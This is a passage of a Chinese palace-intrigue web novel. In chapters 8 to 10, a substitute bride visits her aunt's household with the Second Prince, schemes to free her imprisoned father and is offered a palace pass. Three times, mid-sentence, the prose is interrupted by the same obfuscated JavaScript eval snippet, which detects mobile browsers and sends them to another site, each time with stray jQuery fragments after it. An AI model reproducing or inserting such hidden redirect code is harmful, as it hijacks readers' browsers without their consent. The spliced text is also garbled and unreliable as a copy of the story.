“当然要盯。每日做了什么,见了什么人,用了什么膳,都要来报。”
段则煜不耐烦地瞥了他一眼,继续道:”看好她,跑了病了,拿你是问。”
“……是。”
青刃暗暗擦了把汗。
殿下不愿掺和世家党派之争,原本为了顺藤摸瓜查清关府底细,不得已才求娶关府千金。如
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405672|200490||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
今恰巧冒出来个替嫁的纪姑娘,既没有错综复杂的身世,人又机敏果敢,解了殿下的燃眉之急。原本可以顺水推舟准备娶了这位纪姑娘,殿下调查一番又觉得她出现的时机很是蹊跷,怕是燕皇后安插过来的人手。
可不知为何,那日他将纪姑娘的卷宗给殿下看了之后,殿下突然像是丢了魂,不许外人打扰,不吃不喝将自己关在房中整整三天三夜,还染上了风寒。
青刃与青锋从不过问主子的事,但明眼人都能看出来,殿下对这纪姑娘很不一般。
再之后,就是殿下半路换了关府去狱中接应的侍卫,亲自将假皇子妃接了出来。那时殿下染了风寒尚在病中,也是这几日才好。
青刃实在想不通殿下为何执意要娶这么一个身份有疑的女子,但他只敢心中议论,面上不显露,领命退了下去。
段则煜依旧坐在卷宗如山的桌案后,神色倦倦,不知在思索着什么。
他近日已将江州水患的卷宗通览了一遍,却未见蹊跷之处。
江州处于三江交汇之地,易发水患,历朝以来都重视水利修建,未曾有过重大洪灾。三年前那场要了整个村子性命的洪涝来势汹汹,也是史上头一遭。
陛下怜惜亡灵,拨了二十万两赈灾款修缮水利工事,可修缮后不出一年有余,水患又起,漂没田庐数百里。
三司严查之下发现那二十万两赈灾款到了江州便不翼而飞,并没有用于修缮水利工事,才致江州县令纪廷修入狱。
令段则煜不解的是,前几日他得到纪棠明替嫁的消息后,便派人摸进了纪府,里面分明简陋寒酸,也没有什么值钱的物件。不仅不阔绰,反而不像一州知县该有的境况。
段则煜摩挲着卷宗上的字眼,哑然失笑。
离别那七年,她过得竟是这种日子么。
也难怪她愿意替燕皇后做事。
.
第二日一早,段则煜亲自去库房挑了两件看着就贵重的发钗,去了揽月堂。
纪棠明身子未愈,正披了斗篷伏在案上看书,听见屋外折春与霜儿问安,方知殿下来了,合书起身。
段则煜今日穿了一袭鹅黄色流云袍,同色发带束起一个马尾,张扬明媚,好似意气风发的少年郎。纪棠明见他,依旧规规矩矩行礼。
瞥见桌上书册,段则煜随手翻了两页:“爱妃在看书?文绉绉的,和太傅那老头喜欢看的一样。”
听见他如此唤太傅,纪棠明挑了挑眉,道:“一些春日小诗罢了,读着清新。殿下……与太傅很熟?”
段则煜散漫“嗯”了一声,从怀里掏出一个绸缎包着的物什递给纪棠明,不等她打开,自己先去桌上倒了一壶茶,才悠悠道:“新婚礼物。爱妃看看?”
纪棠明解开绸缎,里面是两支发钗,一支玉钗,冷玉清蓝色,泛着银色流光,阳光底下还似透着暖调,颜色变化无穷。另一支是金钗,鎏金凤凰羽尾上,瞧着像是嵌了朱砂,纹理细腻,瑰丽异常。
段则煜道:“这两样东西,爱妃可喜欢?”
二皇子特意来送礼,又说是新婚之礼,总不能拂了他的心意,纪棠明便牵起一抹得体的笑:“多谢殿下,这朱砂与玉石装点的钗子罕见,还能辟邪,妾身很喜欢。”
段则煜险些将口中的茶喷出来,他看看钗子又看看纪棠明诚挚的脸,一时竟猜不出她是认真的还是装的。
“这东海珊瑚和瀛洲挖来的水月珠,爱妃不认得?”
8. 她失忆了
段则煜看着纪棠明面上有些窘迫,便知纪家清贫大约不假。
年少时,他依稀记得那时的纪家家底尚且殷实,虽不至于豪奢,买些金银首饰戴戴却不是什么难事。
何况现下万国来朝,珊瑚与水月珠早已不算稀世罕有,京中贵女争相收藏的风气靡靡,普通人家的女儿也应该有所听闻。
想到此处,段则煜心里就不大滋味。
那些年到底发生了什么,他想问,喉中却梗塞难言。
或许七年前的不告而别,已经是回应了。段则煜自嘲地扯了扯嘴角。
纪棠明命丫鬟将这两支发钗收好,又摆了些果子糕点在案上。
“殿下今日来得早,离午膳还有些时辰,不如先吃些糕点?”
段则煜淡淡应一声,瞥见桌案上的东西,心道她还是一如既往的爱吃甜食。
“今日是回门日,怎么不见爱妃梳妆打扮?莫非是不想回府?”
段则煜见她素衣简钗,早晨还有闲情逸致读诗,似乎未有出门的打算,不禁好奇。
纪棠明有些讶异,原以为苍兰姑姑没有提,此事便是要作罢的意思,不曾想二皇子一大早来送礼,竟是为了要同她一起回去。
恰好她有许多事想问姨母,纪棠明心下松快,道:“自然是想回府的,殿下稍等片刻,妾身梳洗更衣便来。”
纪棠明随丫鬟们去了内堂更衣,此刻日头正好,段则煜便懒洋洋地靠在椅子上边品茶边等她。
视线瞥到她桌案上搁在一旁的练笔小字,段则煜来了兴致,端起宣纸细细欣赏起来。
这字不似寻常闺阁女子的字那般玲珑秀气,反倒有肆意恢宏之气,一笔一捺舒展隽永,笔力深厚,瞧着是刻苦练过的。
段则煜想起昨日那封字体张牙舞爪的小诗,不禁莞尔:“还真是谨慎,拿左手写的?”
这练笔摘抄的赋词约摸有十几张,段则煜大致翻阅了一遍,有悼亡怀古的,乐慕山水的,都是出自今朝探花梁逸之手。纸上似乎还沾染了女子身上特有的花露香气。
偶然瞥到一首诉说相思、怨春闺的绵长小诗,段则煜扬了扬唇角,将它叠起来藏进了袖中。
少了一张,兴许也发现不了罢。
他若无其事躺回了椅子,眯眼假寐。
待纪棠明梳妆好,二人一齐上了回关府的马车。
前日还在漫天飞雪,今日便已隐隐有了春色,京都的气候一向叫人难以捉摸。
纪棠明望着帘外风光,忽而想起前日折春下迷药一事,竟害的殿下早朝迟到,不免有些愧疚,便道:“前日折春冒犯了殿下,是妾身治下不严,妾身已经罚过了,只是殿下莫要往心里去。”
段则煜本也在看着窗外,听见此话,侧头扬着眉道:“爱妃言过了。我一向不喜早朝,那帮老头子吵起来没完没了,烦得很。若不是折春,难得睡一场好觉。”
那日早朝迟到,陛下念他新婚头日才并未怪罪,诸位大臣散了回家时,还调侃他新婚夫妻果真如胶似漆。段则煜想到此,不由得心情大好。
纪棠明不禁弯了弯唇角:“殿下豁达,是妾身狭隘了。”
纪棠明虽久居江南,离京都甚远,但却略听过三位皇子的一些说辞。外界对于二皇子的传言大多不好听,不过是攻讦他身为陛下子嗣却无心政事,整日寻花问柳。
这几日相处下来,纪棠明却觉得传言也并不可信。
二皇子虽然的确风姿隽爽,气貌非常,可听苍兰姑姑说,殿下从未有过通房,男女情爱方面也是青涩生疏,还叫纪棠明在房事上多多主动些……
想到此,纪棠明耳后有些发烫。她想将这番话抛诸脑后,越奋力想忘却,那日健硕的腰身触感越接二连三的冒出来。
纪棠明怕段则煜瞧出她面上异常,假意看着窗外,将脸侧了过去。好在关府所在亲仁坊地处朱雀大街东二街,离皇城并不算非常远,半个时辰也就到了。
关府的朱红大门一如往日气派,两座石狮子镇守两侧,檐角悬着六角玲珑灯,在风中飘飘摇摇。
关致中早早按回门宴的规制准备着,纪棠明在霜儿的搀扶下才下马车,尚书夫妇二人便迎了上来。
瞧见她身后负手悠悠下了马车的段则煜,关致中携夫人忙行礼道:“老臣参见殿下。外头风寒,殿下快快请进。”
“岳父客气,今日陪爱妃回门而已,不必拘礼。”
段则煜表现得谦逊有礼,一脚方迈上台阶,便回头笑着朝纪棠明伸出了手。
她正要顺势将手搭在他掌心,一旁肖临贞道:“新婚头三日便能如此恩爱无间,我家姝儿真真是好命。”
旁人听了只当是做母亲的替女儿寻得良婿而高兴,纪棠明却不难听出其中的旁敲侧击,这是在说她没掂清自己的身份,忘了本分。
纪棠明笑意盈盈,挽上了段则煜的手臂,假意听不懂她话中意味,心里却冷笑:他们想在二皇子面前演家人情深的戏码,她不介意再陪他们演一出鸾凤和鸣。
于是面上作羞赧状,道一声:“母亲可别再说了。”双颊绯红,任谁看也是娇羞的新妇模样。
段则煜被她这样搀着,能感受到她的指尖若有若无擦过他的臂弯,带起了一阵直钻心底的酥痒感。
这几日他一直克制着与她的接触,今日这一碰,他心中熊熊的燥意又起,险些要遏制不住。
念在今日还在尚书府,他勉强压下了心思。
一家人其乐融融进了院门,府上宴席已然摆好,只待人齐后开席。
毕竟是二皇子头一回来,菜色丰盛非常,大多是些纪棠明叫不上名字的山珍海味,不大合她的胃口,席间不过微末尝了几筷子。
趁他们闲谈,纪棠明才有心打量了一番关府内堂。那日来时天色已晚,她还未看清关府是何模样,如今细细看来,比她印象中的还要华贵。
那等花瓶镶玉屏,她不大识货,可席间颇有分量的白箸象牙筷、和田羊脂玉盘她却是认得的。早在府外,她便已领略了绵延数里的朱门红墙,想起江州父亲那微薄俸禄都接济不过来的满街流民,心中酸楚。
终归是天子耳目塞,不知外面是何种境地。
“姝儿,听闻你昨日染了风寒,现下身子如何了?”
收回思绪,纪棠明望着满脸关切的肖临贞,微微颔首:“劳母亲挂念,殿下寻了太医为我医治,已经好多了。”
她去太医署不过是昨日才有的事,今日肖临贞已得知了消息,这不是明白着告诫她、身边有关府耳目么?
纪棠明忆起揽月堂的丫鬟面孔,大多是在宫中服侍久了的,思来想去,只当是折春可能性最大。
她从前的主子就是关静姝与肖临贞,难保一心向着旧主。纪棠明却并不怪她,反倒敬她是个忠义的。
她正暗自忖度着待会要如何甩开二皇子与肖夫人私下会谈,那边段则煜冲关致中道:“近日有关江州水患一事,我想与岳父探讨一番,不如我们去书房详谈如何?”
纪棠明闻言一怔,旋即眸子亮了亮,讶异之余,又有些雀跃。从前不知殿下竟然也对江州水患一事上心,见二人移步书房,心中才稍稍安定了些。
内堂只剩了她与肖临贞二人,肖临贞遣散仆从,也不再掩饰,直言道:“看来明儿与殿下处得不错。离得越近,越容易露馅,这个道理你可知晓?”
纪棠明定了定心神,淡声道:“二殿下待人和顺,处处敬重我,并未对我的身份有疑,姨母大可放心。”
肖临贞心里却不大滋味,若不是姝儿有了心上人,以死相逼不愿嫁出嫁,这般好的姻缘怎会轮到她这个乡下来的穷酸丫头。
今日二皇子所为她也看到了,温润有礼,就是这般光风霁月的好男儿才配她的姝儿。想起她那不知名姓家世如何的意中人,肖临贞又是气不打一处来。
心里不爽快,面上还是得维持体面,肖临贞舒了口气,又换上了那副慈爱面孔:“那便好,我和你姨父还担心你应付不来,如今算是宽心了。”
“姨母,我父亲那边如何了?我在宫中处处谨慎,不敢贸然打听,只盼着书信来了。”
“书信昨日便到了,我看过了,还未来及回信与你。此事似乎牵扯颇多,原先命刑部与大理寺协同调查,陛下如今又特派了一名官员统领此案,只是这人是谁,朝中口风甚严,连你姨夫都不得而知。”
肖临贞尽拣了些不痛不痒的消息来说,见纪棠明神色凝重,又假意宽慰道:“你只须安心,莫叫陛下与皇后娘娘、二殿下察觉身份有异便可。大理寺那边有你姨夫的人盯着,免了审问,又添了伙食,只待审查结果如何了。”
纪棠明这才稍稍放心,不过离别两日,她还是要亲自见了阿爹阿娘才肯,便道:“明儿多谢姨母这几日周旋,只是心中挂念亲人,还愿姨母从中协助,叫我能入狱探亲。”
肖临贞蹙了蹙眉,自知纪棠明是个不好应付的,嘴上先答应了。
“大理寺戒备森严,无干人等难以混进去,那边我会叫你姨夫去疏通疏通关系,若是寻得机会,自会叫你。”
纪棠明正要应下,却捕捉到了她话头一丝不对:姨母既说大理寺戒备甚严,那前日侍卫是如何溜进去将她带出来的?
纪棠明心里隐隐觉得此事有异,见肖临贞浑然不觉话中疏漏,将心思暗里压了下来,只道:“今夜我便留宿府中。姨
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405673|200490||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
母与姨夫宠爱独女尽皆知,如今夜露已深,急着回宫反而叫二皇子生疑。”
肖临贞端着茶的手一顿,却只得应下。
“姝儿的闺房还未收拾出来,多有不便,你就去南苑住下吧。”
纪棠明轻声允诺,福礼告退。
肖临贞有意安排他们二人分房而睡,纪棠明也没再多说什么。
房中一番沐浴过后,丫鬟们伺候她披了一件桃红绸缎制的寝衣,细带绕柳腰,衬得身段婀娜。
纪棠明不喜款式繁复的寝衣,向来从简,只是这件料子柔软,贴身也舒适,便挑了它就寝。
丫鬟们放下床榻纱幔,剪了火烛合门而去,纪棠明刚闭上眼,就听窗沿处传来一阵细微的响动。
咔嗒——
一股凉风灌进了屋内,纪棠明一惊,赶忙攥紧被子,她正要喊人,眼前纱幔被人掀开,有人捂住了她的嘴。
纪棠明心里只有一个念头,是刺客。
一股铺天盖地的好闻气息传来,纪棠明在黑暗中看不见,嗅觉和听觉便异常灵敏。
那人微微喘息,呼吸有些乱,捂着她的手很冰凉。纪棠明抄起手边枕头用力朝他砸过去,他吃痛地“唔”了一声,连连后退。
听见熟悉的嗓音,纪棠明愣了片刻,“……殿下?”
“是我。”
那头传来引燃火信的声音,纪棠明想起自己还穿着寝衣,不免慌乱,连忙道:“殿下!别点灯。”
段则煜怔了一瞬,但照做。
隔着纱幔,纪棠明的心怦怦直跳,还未等她发问,少年温润的嗓音传来:“今日看你没怎么用膳,想是饭菜不合胃口,我便让青刃去坊市买了些时兴的梅子糕。尝尝?”
纪棠明呼吸滞了一瞬,不知他竟在席间观察得这么仔细。
嫁出去的女儿回门却吃不惯娘家的菜,多少有些荒谬,正欲找个托辞圆过去,瞧他似乎不甚在意,终了,只轻声道了句谢。
纱幔外递进来一盒还温热着的梅子糕,纪棠明紧了紧被子,借着月光拿起一块放进了嘴里。
入口是酸中带甜的绵密感,梅子粉揉和在豆面里,甘甜爽口,滋味独特。纪棠明吃着吃着,却觉得这味道好似儿时吃过一回,不禁有些恍神。
段则煜的声音自纱幔外传来:“吞云阁的糕点花样多,也是京中女儿家大多都喜欢的,可合爱妃胃口?”
“多谢殿下,糕点很好吃。”
他又道:“梅子糕口味酸些,吞云阁便做了一款滋味甜的,爱妃更喜欢酸的还是甜的?”
为了话中不出差错,纪棠明沉吟片刻,轻声道:“妾身不挑,殿下买的自然好吃。”
那边一阵沉默,纪棠明回过神来才觉得方才这席话颇有些邀宠意味,忙补充道:“妾身是说,殿下挑的糕点定然是时兴的,不会不合胃口。”
她凝神等了几息,才听那边传来一声淡淡的“嗯”。
“时候不早了,你早些歇息。”
段则煜手撑着窗,轻轻一跃便翻了出去,无声无息,除了床榻上多了盒梅子糕,屋中好似没有人来过。
纪棠明回想他方才的问话,若是说她自己,定是喜欢甜的,可不知她作为关静姝,该说喜欢甜还是喜欢酸。
……
青锋早已候在院外,见主子出来,迎了上去。
“叫你查的事如何了?”
“殿下猜的不错,纪家自从调至江州,家中境况便一落千丈。但俸禄照例,据乡里所说,是纪廷修乐善好施,平日里用自己的俸禄施粥济粮,才至处境贫寒。”
青锋顿了顿,又道:“属下还有一事。与纪姑娘……与皇子妃相熟的邻坊说,娘娘幼时便体弱,时常高热不退,似乎还偶有失忆之症。”
段则煜猛地顿了脚步,黑眸微亮:“初次出现失忆之症的时候,是哪一年?”
“……永康二十二年,也就是纪家调任江州、皇子妃十四岁那年。”
段则煜霎时乱了呼吸,说不清是惊喜还是无措,只觉得脑中发热,长腿一迈便往湖边走。
那时他们一起出游,也是在这样的湖畔,黑夜皎皎,唯少女的眸光清凉如许:“这是祖母从京都带回来的梅子糕,你尝尝看?”
她竟是不记得了。
竟是不记得、而不是故意弃了他?
段则煜心中一时五味杂陈,晚风渐凉,他的额头却烫得吓人,垂在身侧的指尖不可遏制地微微发抖。
他又想起了那年,少女小小的身躯将他从雪窝里拖出来,用自己的体温给他暖身子,自己的牙关冻得直打哆嗦却也不肯放开他的模样。
那夜的红梅,和她的唇瓣一样娇艳。
9. 回门日
翌日一早,天还黑着,关府门前的青石板路上便有一道急促的马蹄声由远及近,惊醒了府门外昏昏欲睡的门仆。
两门仆见来者骑高头大马,青衫圆领袍,佩通行玉牌,便知是宫中来的人,忙将人请了进去。
这小宦官年纪尚轻,气质却沉稳,门仆见他神色自若,便揣测大概不是什么要紧事,迎进了堂内用茶,另着人去请二皇子。
段则煜昨夜回屋已是很晚了,本打算随意梳洗一番便赶去宫中早朝,听宫中有内侍追至关府寻他,心下不禁沉了几分,匆匆随门仆往内堂去了。
那小宦官见二皇子立马恭敬深揖:“奴见过二殿下。皇后娘娘命奴特来知会,陛下身子抱恙,近几日撤了早朝,二殿下不必跑这一趟了。”
“前几日不是说父皇只是风寒?如今战事在即,怎会连早朝也撤了?”
段则煜口气略微急了些,小宦官闻言一顿,道:“陛下昏昏沉沉,不省人事,眼下宫中大事皆是听娘娘令,奴也只是来传个话,其余不知,还需二殿下回宫再问。”
段则煜蹙着眉头,望了一眼天色,发觉事态比料想中严重,赶不及知会纪棠明,便急匆匆策马回宫了。
到了辰时用朝食,尚书府三个人才听下人知会此事,皆是面色凝重。
关致中听门仆叙说完经过,撂下筷子饭也不吃了:“这燕氏还想夺权不成!我看这朝廷怕是不姓段,而是姓燕罢。”
肖临贞叹了口气,宽慰道:“仔细别被他人听了去,怎可说这种杀头的话。”
纪棠明淡淡瞥了他们二人一眼,拿起帕子拭了拭唇角,道:“姨夫姨母怕是不知,燕皇后因从前之事仍惦记着关家,视关静姝为眼中钉,我才去宫中,便给了好大一个下马威。”
不出所料,二人闻言面色一变,简直算得上难看极了。
陛下未立储,如今又患病在身,燕皇后却借着没有子嗣的幌子插手国事,其野心昭然若揭。
纪棠明猜,朝臣如今大致要分两党,一党是燕皇后党,一党则是太子党。可储位悬而未决,皇后又大权在握,自然是皇后党更有利。
她要做的,就是让姨夫姨母入皇后党,趁皇后缺忠心之人时借大权放了父亲,自己再押宝一位皇子,助力他登上储位,到时就算姨母家未能得势,自家也能有保全之策。
这个人选,必不能是二皇子。否则日后想和离可就难了。
纪棠明这边暗自谋划着,那边关致中却不知她心中所想,追问道:“明儿聪慧,依你之见,该当如何?”
“自是顺应大势所趋。”
话已至此,纪棠明不欲多待,福礼告退,命下人备了轿子,便上了回宫的马车。
堂内二人并未起身相送,见她离席,肖临贞才道:“你觉得这丫头话里有几分可信?”
“从前燕皇后随父做买卖时便与我们相识,那时只当是寻常商贾家的小娘子,礼节上多有怠慢,你又一向心直口快,怎能不让人心里记着仇。”
“倒怨上我了?也怪当时没瞧出她这么有能耐,反结了梁子。”
肖临贞心头堵得慌,无心用膳,便叫下人把桌上东西全撤了。
想到纪棠明,心里又是一股火气:“看看她那副孤傲的样子!还真把自己当皇子妃了?前日哭哭啼啼装柔弱,眼下才发觉这丫头精着呢。”
关致中瞥她一眼,恨铁不成钢道:“你自己弄出来的烂摊子,能怨谁?眼下明儿才是二皇子的枕边人,是在陛下跟皇后面前都说得上话的人。事已至此,不如好生待她,姝儿嫁妆的锁匙,便给了她罢。”
听到嫁妆,肖临贞噌地一下站了起来:“半个府的家当都给姝儿出嫁充嫁妆了,这些钱,你竟要我拿去给她?她想都别想!”
“夫人稍安勿躁。”关致中扶着她坐下,继续道:“姝儿的东西自是少不了她的。眼下陛下患病,南边水患,北面战事,若燕皇后想握大权,正是处处需要用人之时,此时投诚,日后荣华富贵自然是手到擒来。”
肖临贞神色微动,关致中见劝说有望,又道:“宫中势力错杂,咱们又与燕皇后有隙,贸然派眼线打探情况只会打草惊蛇,可若是我们利用好明儿,这岂不是两全之策?”
肖临贞面色缓和了下来,细想来觉得有理,便道:“那就依你。只是日后姝儿出嫁,定不能比她少。”
关致中连连点头:“苦了谁也不能苦了姝儿。前日打探到庄子里有一老太太几年前丢了孙女,年龄恰好与姝儿相仿,我便将姝儿化名落在了她们户上,就说孙女被官衙找回来了。老太太神志不清,反而高兴得很,以后姝儿再不必躲躲藏藏了。”
“当真?那庄子可有泉眼?姝儿一向喝不惯井水……屋子如何?可别漏风漏雨。”
肖临贞思前想后,哪里都不放心。
自纪棠明替嫁,关静姝便被安置到了京都边上的私宅里住着,不能外出见人,吃喝都由下人出去采买。
肖临贞想想,总觉得自家女儿受了天大委屈,那宅子那么荒,那么小……
关致中宽解道:“夫人尽管放心,一切我都打点好了。姝儿穿的用的都是单独送去,还指了四个丫鬟侍候着,除了屋子小了些,别的与在自家无异。”
肖临贞这才心情复杂地点了点头。
见夫人被说动,关致中才算舒了一口气。
昨日他与二皇子书房会谈,说的可不是什么江州水患的事。
现下朝局动荡,二皇子话里话外都在提点他保全自身。关致中毕竟也在官场混迹多年,多少还是能猜出他的意思,大抵是告诉他宫中要有变。
近几日他听闻不少官员联合上书陛下,奏明纪廷修一案有疑,已是好几天夜不能寐,只怕此事败露牵扯出自己。加上二皇子特意前来提点,关致中觉得,那二十万两赃款得安置在别的地方才安全。
至于纪廷修,原本他准备面上做做功夫假意相帮,不成想陛下重视此案,反而加重了暴露自己的风险,当下决定另寻他法,帮助纪廷修脱罪。
从前以为二皇子不过是个绣花枕头,现下看来,怕是在藏拙罢了。想到此,关致中神色凝重了几分。
如今纪棠明才是他面上的“女儿”,她又得二皇子青睐,自然也不能苛待于她。
.
寒序天色亮得晚,风呼呼刮着,漆黑的路上只有马车上飘摇的灯笼发着暖融融的微光。
车嘎吱嘎吱走着,天光泛起鱼肚白时,纪棠明也赶到了宫门。
往日这个时辰,众大臣应是刚下早朝,宫门外堵着齐齐的马车,禁军巡逻把守,今日却静穆得没有一丝声响,空旷的汉白玉宫道上只有马蹄踏过的回响。
纪棠明望着紧闭的太和门,隐约觉得不妙,只让车夫快些走。
还没走几步,马车又停了,纪棠明正欲出声询问,外面有一道冷冷的声音道:
“今日宫中戒严,何人敢驾车在宫中行驶?”
回宫走太和门前的宫道一向畅通无阻,乘马车也未有逾矩。
不知何人拦了马车,纪棠明沉声道:“二皇子妃也过不得?”
那人静了几息,话音里带着笑:“我当是谁,原来是嫂嫂,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405674|200490||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
失礼了。只是皇后娘娘有令,近日任何人不得在宫内乘暖轿,马儿嘶鸣,会惊扰陛下。”
纪棠明不语,在霜儿的搀扶下出了马车,有一玄色衣袍的人立在马前,正含笑看着她。
“四殿下安。”
“嫂嫂客气。今日天寒,拦下嫂嫂的马车实属无奈,还望嫂嫂见谅。”
纪棠明迎上他微挑的黑眸,施礼一笑:“殿下奉命行事,臣妾自然不会叫殿下为难。”便叫折春取了手炉斗篷过来,欲走回崇仁宫。
原以为兵部尚书家娇生惯养大的二皇子妃会同他闹上一番,见纪棠明干脆利落地转身就走,段骁颇有些意外。
折春与霜儿簇拥着纪棠明,福礼告辞后便径直朝着宫道走去,段骁望着一行人远去的背影,嘴角微不可察地扬了扬。
走了些距离,折春回头望了望,黑黝黝的宫道不见其他人,见四殿下没并有跟上来,才小声道:“四殿下是贵妃娘娘所出,柳贵妃素来与皇后不睦,如今竟愿意让四殿下替皇后娘娘做事,主子怎么看?”
纪棠明闻言,沉吟道:“许是四殿下自己的主意。”
大皇子卧病在床,二皇子在外名声不好,三皇子养在边疆随威远大将军打仗,朝中有储位争议的只有四皇子。
方才一见,纪棠明心中的储位人选便大致有了着落。
至于这四皇子和柳贵妃如何为人,值不值得用,恐怕还要再接触一番。纪棠明一边走着,心里已经料定了主意。
京都朝时易起风,宫道里穿堂风猖獗,折春与霜儿掌着摇摆的宫灯,到揽月堂时,已冻得手指都僵了,一回屋便双双拥在了银炉上暖手。
“奴婢不大懂,为何皇后娘娘不许在宫内乘暖轿?天寒地冻,往后可叫娘娘们如何出行。”
霜儿性子单纯,不懂宫中的弯弯绕绕,一边炉旁温着手,一边忍不住嘟囔。
纪棠明见她冻得桃腮晕红,忍不住笑道:“你从前最爱戏水,怎么如今却这么怕冷起来?皇后娘娘只不过是需要借机立威,约摸后日便能如初。”
折春闻言却叹了口气:“宫中局势变化无常,只怕陛下这一病,不要生乱才好。”
纪棠明倒有些置身事外,她只愿越乱越好,这样才能借机救出家人。
心里这样想,她嘴上却宽慰了折春几句:“宫中之乱,无非大权旁落,朝代更迭。你若是太子府上的幕僚,倒是应该忧心几分,在揽月堂,外面生了变故,还能饿到你不成?”
霜儿扑哧一声笑了出来,折春霎时有些羞赧,红着脸说不出话。
纪棠明也不打趣她了,往银炉里添了些银丝炭,看着烧得腥红的炭火,思绪却渐渐飘远。
临近初春,天气总是忽而寒冷,每到这时祖母总要腿疼上一阵子,狱中没有大夫,也不知祖母该如何挨到接她出来的那一天。
纪棠明忽然想到什么,冲折春道:“我来关府那日,可是姨母派人接应的?”
折春点了点头:“是有这么一回事。”
“那便说不清了,为何能将侍卫神不知鬼不觉安排进大理寺,却推脱守卫森严,不让我探亲?”
纪棠明怎么想也觉得姨母不是这等疏忽大意之人,这些事情桩桩件件放在一起,似乎哪里有个疏漏。
折春怔了怔,面露犹豫:“……听闻那侍卫第二日才回府,昨夜发生了何事丝毫记不清了。肖夫人不让声张,此事我也是听肖夫人底下的大丫鬟说的。”
纪棠明回想起那夜指节纤长的手,隐隐有了一个猜测。
接她出去的,恐怕另有其人。
10. 通行令牌
从关府回来这些日子,纪棠明整日待在揽月堂读闲书,偶尔写点小诗文消磨时光,只盼着姨母和梁伯伯那边来信。
大抵是陛下病重的缘故,宫中弥漫着一股道不明的肃穆气氛,连带着巡逻的禁军都较平常多了些,平日里便深居简出的纪棠明更不敢出门了。
到了晌午,霜儿端着一个食盒进来,揭开盖子,里面各色菜肴齐全,都是纪棠明爱吃的东西。
她手底下忙着布菜,道:“外头下了小雪。说起来,二殿下有几日没来了,听青刃说,殿下近日似乎忙得很。”
纪棠明抬眸瞥了一眼午膳,淡淡“哦”了声。
霜儿看她一眼,奇怪道:“主子,你就不好奇?”
“好奇什么?”
“自然是好奇二殿下去做什么了呀。”
纪棠明拿着书靠回榻上,面庞被书挡着,瞧不出神色:“不好奇,不在乎。大抵是去花楼赏舞、梨园听曲了罢。”
“外面虽然都传殿下好寻花问柳,可我瞧着传言有虚。主子,难道你不觉得?”
纪棠明侧过身,又翻了一页书:“若是好寻花问柳,岂不更好,这样就无暇顾及我了。”
霜儿掩唇笑了两声,还欲再说,忽然住了口,冲那头恭敬福礼道:
“奴婢参见二殿下。”
纪棠明身子一僵,攥着书匆匆从榻上起身:“殿下。”
段则煜面上依旧是不咸不淡的神色,手里拿着一卷竹简,款步走了进来。
不知方才所言被他听到了多少,纪棠明心头窘迫,段则煜却似乎不在乎,瞧见桌上刚布好的菜,道:“还未用膳?不如一起。”
纪棠明望了一眼桌上菜肴,口味大多清淡甜润,又想起关静姝喜好滋味咸辣的,便道:“近日时疾易发,应当吃些清淡的,只是不知殿下吃不吃得惯?”
“不挑。”
段则煜将竹简搁置在桌上,径自坐下,纪棠明也便净手坐在了他对侧。
虽然平日里段则煜也并非时常带着笑意,但瞧着总归不是煞气逼人的,今日他面上肉眼可见的淡漠,说是用膳,往那一坐也不动筷子,倒叫纪棠明不知吃还是不吃。
纪棠明看见桌上竹简,只能没话找话:“殿下今日是去了文渊阁?这竹简上写的是何物。”
段则煜抬眸看了她一眼,将竹简递了过去:“段骁送你的。”
段骁?四殿下?
想起昨日在太和门被拦下,纪棠明仍心有余悸,下意识觉得里面不会是什么好东西,不情不愿地接了过来。
翻开竹简,里面却系着一枚青色玉牌,玉牌小巧轻薄,看着是好看,纪棠明却猜不出这有何用途。
寻常人挂的玉坠通常为圆盘、铜钱状,雕刻样式也丰富,这枚玉牌扁扁长长,没有什么花样,大抵不是用作配饰。
纪棠明看了半天也不知四皇子为何会突然给她送这个,只是看段则煜阴郁的神情,便知她不该收下。
段则煜见她不语,道:“今早段骁将它给我,让我务必亲手送到你手中。”
“四殿下的心意我心领了,还请殿下代我道声谢。只是……妾身平白无故不好贸然收下,请殿下将此物还回去吧。”
纪棠明将竹简照原样卷好递过去,没多看它一眼,面上也未显露不舍,段则煜的神情才算稍稍缓和了些。
他云淡风轻道:“瞧你平日不大出去,拿着这通行玉牌也是无用,既然你不要,我也只好物归原主了。”
“通行玉牌?”纪棠明一愣。
她才算知道为何段则煜今日这么古怪。
四皇子堂而皇之送通行玉牌给她,不就在向别人昭告他二皇子无权无势、连块玉牌也弄不来?
难怪方才段则煜从一进来就面色不善,纪棠明只暗暗道幸好她未收下。
“原本还想着爱妃喜欢看书,拿了玉牌可自由进出皇城禁地,禁阁里的书也大可一观,实在是可惜。”
他特意咬重了“皇城禁地”四个字眼,纪棠明闻言近乎是脱口而出:“那大理寺呢?”
